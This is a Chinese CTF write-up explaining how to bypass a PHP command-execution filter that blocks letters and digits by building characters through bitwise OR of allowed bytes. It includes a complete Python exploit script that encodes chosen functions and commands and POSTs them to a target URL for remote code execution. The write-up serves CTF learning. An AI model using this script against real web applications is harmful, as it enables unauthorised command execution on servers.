<p>解题思路以及代码思路完全来源于羽大佬的博客:<a href="https://blog.csdn.net/miuzzx/article/details/108569080">https://blog.csdn.net/miuzzx/article/details/108569080</a><br>Exploit在此基础上做了一些改进<br>代码在附件里有</p>
<h4><a name="1 解题思路"></a><span></span>1 解题思路</h4><p>首先我们可以看到这里过滤的很多，0-9,a-z<br>这么一看好像是没办法做了，毕竟字母数字都过滤掉了</p>
<p><img src="https://nc0.cdn.zkaq.cn/md/11421/d81e8bdb92bc0e747d695b57a7d563af_18075.png" alt=""></p>
<hr>
<p>但是留下了一个字符 |<br>管道符<br>这个管道符有什么用呢<br>可以看这里这篇博客：<a href="https://blog.csdn.net/weixin_49278803/article/details/120453347">https://blog.csdn.net/weixin_49278803/article/details/120453347</a><br>第二部分的</p>
<p><img src="https://nc0.cdn.zkaq.cn/md/11421/a125417430d561e8d69c7ce8e3861c28_43109.png" alt=""></p>
<p>当比较单位为数值单位时，进行位运算<br>这是在python中的，python里只能数字之间才能进行位运算（应该）<br>但是python想要实现字符之间的位运算，可以这样</p>
<pre><code>chr(ord(&quot;a&quot;) | ord(&quot;b&quot;))
</code></pre>
<p>这里得到的结果是 c</p>
<p><img src="https://nc0.cdn.zkaq.cn/md/11421/f0da914fadb0a546c0a3d8d007816502_48436.png" alt=""></p>
<hr>
<p>也就是说，我们可以通过两个字符的位运算，来得到另一个字符<br>比如说，假如我们想要执行一个system(ls)<br>但是s不能用<br>我们先找到 s 的ascii码，16进制对应的那个，url编码也一样</p>
<p><img src="https://nc0.cdn.zkaq.cn/md/11421/8f20baef793a7d19195637b3a6cb0df7_75091.png" alt=""></p>
<hr>
<p>0x73,那么我们只需要知道，哪两个16进制数字进行 | 运算会得到 73,并且这两个16进制对应的字符，能够通过上面的正则表达式，那么我们就可以成功执行一个s了</p>
<p>还挺多的<br><img src="https://nc0.cdn.zkaq.cn/md/11421/70b99aea91940af80938d91c2f821578_69377.png" alt=""></p>
<hr>
<p>但是我们上面有个正则表达式限制<br>我们再改进一下代码</p>
<p>这样得到的就是可以通过正则表达式的结果了<br><img src="https://nc0.cdn.zkaq.cn/md/11421/7ed2e943a6fc5fc20d01e75324020706_63331.png" alt=""></p>
<hr>
<h4><a name="2 EXP代码"></a><span></span>2 EXP代码</h4><pre><code>import re
import requests
import urllib


def isTrue(reg, asc: int) -&amp;gt; bool:
    return reg.match(chr(asc)) is None


def toUrlCode(asc: int) -&amp;gt; str:
    return hex(asc).replace(&quot;0x&quot;, &#39;%&#39;) if asc &amp;gt; 15 else hex(asc).replace(&quot;0x&quot;, &#39;%0&#39;)


def charOrDict(reg) -&amp;gt; dict:
    &quot;&quot;&quot;
    :rtype: object
    :param reg: 正则表达式
    :return: dic[字符] = [字符1,字符2] # (字符1 | 字符2) = 字符
    &quot;&quot;&quot;
    dic = {}
    for i in range(256):
        for j in range(256):
            if isTrue(reg, i) and isTrue(reg, j):
                char = chr(i | j)
                if char in dic:
                    continue
                if ord(char)  126:
                    break
                hex_i = toUrlCode(i)
                hex_j = toUrlCode(j)
                dic[char] = [hex_i, hex_j]
    return dic


def getCharOr(char: str, dic: dict) -&amp;gt; str:
    s1 = &quot;&quot;
    s2 = &quot;&quot;
    for i in char:
        s1 += dic[i][0]
        s2 += dic[i][1]
    output = f&#39;(&quot;{s1}&quot;|&quot;{s2}&quot;)&#39;
    return output


def main():
    url = input(&quot;33[94m%s33[0m&quot; % &quot;[*] Url:&quot;)
    reg = re.compile(&quot;[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&amp;amp;|\-&quot;, re.I)
    charOrdic = charOrDict(reg)

    while True:
        param = getCharOr(input(&quot;33[94m%s33[0m&quot; % &quot;[*] your function:&quot;), charOrdic) + getCharOr(
            input(&quot;33[94m%s33[0m&quot; % &quot;[*] your command:&quot;), charOrdic)
        print(param)
        print(urllib.parse.unquote(param))
        data = {
            &#39;c&#39;: urllib.parse.unquote(param)
        }
        r = requests.post(url, data=data)
        print(&quot;33[92m%s33[0m&quot; % f&quot;[+] result:\n{r.text}&quot;)


if __name__ == &#39;__main__&#39;:
    main()
</code></pre>
<p><img src="https://nc0.cdn.zkaq.cn/md/11421/a3a156ecebc34d26bd89d941aa6ecac0_41595.png" alt=""></p>
<p><img src="https://nc0.cdn.zkaq.cn/md/11421/9c72ad86ceb632b47fe34cb380ca79a1_60200.png" alt=""></p>
<p><img src="https://nc0.cdn.zkaq.cn/md/11421/d9d545e2ae7fd6420d461ef6cc80c474_42243.png" alt=""></p>